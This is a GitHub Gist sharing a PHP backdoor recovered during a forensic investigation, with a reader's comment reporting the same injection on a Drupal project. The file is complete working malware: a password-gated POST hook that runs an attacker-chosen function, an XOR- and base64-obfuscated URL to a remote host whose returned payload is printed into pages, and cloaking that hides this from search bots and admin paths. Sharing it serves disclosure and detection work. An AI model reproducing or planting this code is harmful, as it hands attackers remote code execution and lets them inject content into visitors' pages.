Created
January 8, 2016 12:11
-
-
Save jonaslejon/91e479164a1360e06dbf to your computer and use it in GitHub Desktop.
PHP Backdoor found during forensic investigation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function is_valid_url(&$url) | |
{ | |
if (!preg_match('/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/', $url, $m)) | |
return false; | |
$url = $m[1].$m[5].'.'.$m[4].'.'.$m[3].'.'.$m[2].$m[6]; | |
return true; | |
} | |
function request_url_data($url) { | |
if(!is_valid_url($url)) | |
return false; | |
$site_url = (preg_match('/^https?:\/\//i', $_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); | |
if (function_exists('curl_init')) { | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 5); | |
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_HTTPHEADER, array( | |
'X-Forwarded-For: ' . $_SERVER["REMOTE_ADDR"], | |
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"], | |
'Referer: ' . $site_url, | |
)); | |
$response = trim(curl_exec($ch)); | |
} elseif (function_exists('fsockopen')) { | |
$m = parse_url($url); | |
if ($fp = fsockopen($m['host'], 80, $errno, $errstr, 6)) { | |
fwrite($fp, 'GET http://' . $m['host'] . $m["path"] . '?' . $m['query'] . ' HTTP/1.0' . "\r\n" . | |
'Host: ' . $m['host'] . "\r\n" . | |
'User-Agent: ' . $_SERVER["HTTP_USER_AGENT"] . "\r\n" . | |
'X-Forwarded-For: ' . @$_SERVER["REMOTE_ADDR"] . "\r\n" . | |
'Referer: ' . $site_url . "\r\n" . | |
'Connection: Close' . "\r\n\r\n"); | |
$response = ''; | |
while (!feof($fp)) { | |
$response .= fgets($fp, 1024); | |
} | |
list($headers, $response) = explode("\r\n\r\n", $response); | |
fclose($fp); | |
} | |
} else { | |
$response = 'curl_init and fsockopen disabled'; | |
} | |
return $response; | |
} | |
function decrypt_url($encrypted_url) | |
{ | |
$encrypted_url = base64_decode($encrypted_url); | |
$url = ''; | |
for ($i = 0; $i < strlen($encrypted_url); $i++) | |
{ | |
$url .= chr(ord($encrypted_url[$i]) ^ 3); | |
} | |
return $url; | |
} | |
error_reporting(0); | |
$_passssword = '2f8f24838677651feb9c2e3d1385bd07'; | |
$p = $_POST; | |
if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], ''); | |
if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) { | |
echo('<!--checker_start '); | |
$tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css'); | |
echo(substr($tmp, 50)); | |
echo(' checker_end-->'); | |
} | |
unset($_passssword); | |
$bad_url = false; | |
foreach (array('/\.css$/', '/\.swf$/', '/\.ashx$/', '/\.docx$/', '/\.doc$/', '/\.xls$/', '/\.xlsx$/', '/\.xml$/', '/\.jpg$/', '/\.pdf$/', '/\.png$/', '/\.gif$/', '/\.ico$/', '/\.js$ | |
/', '/\.txt$/', '/ajax/', '/cron\.php$/', '/wp\-login\.php$/', '/\/wp\-includes\//', '/\/wp\-admin/', '/\/admin\//', '/\/wp\-content\//', '/\/administrator\//', '/phpmyadmin/i', '/x | |
mlrpc\.php/', '/\/feed\//') as $regex) { | |
if (preg_match($regex, $_SERVER['REQUEST_URI'])) { | |
$bad_url = true; | |
break; | |
} | |
} | |
$cookie_name = 'PHP_SESSION_PHP'; | |
if (!$bad_url AND !isset($_COOKIE[$cookie_name]) AND empty($echo_done) AND !empty($_SERVER['HTTP_USER_AGENT']) AND (substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) != '74.125') AND !pre | |
g_match('/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i', $_SERVER['HTTP_USER_AGENT'])) { | |
// setcookie($cookie_name, mt_rand(1, 1024), time() + 60 * 60 * 24 * 7, '/'); | |
// $url = base64_decode('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjQ6MzM5NDU3MDs1OTI6Mzs='); | |
$url = decrypt_url('a3d3czksLDI1Oi0xNjAtOi02LGFvbGQsPG5me2pgYm1seSV2d25ccGx2cWBmPjQ6MzM5NDU3MDs1OTI6Mzs='); | |
$code = request_url_data($url); | |
// if (!empty($code) AND base64_decode($code) AND preg_match('#[a-zA-Z0-9+/]+={0,3}#is', $code, $m)) { | |
if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) { | |
$echo_done = true; | |
print $decoded; | |
} | |
}//iend |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi @jonaslejon, found the same injection on a drupal project.
Do you know what is the vulnerabilty that allow this?
Thanks!
Best,
Leandro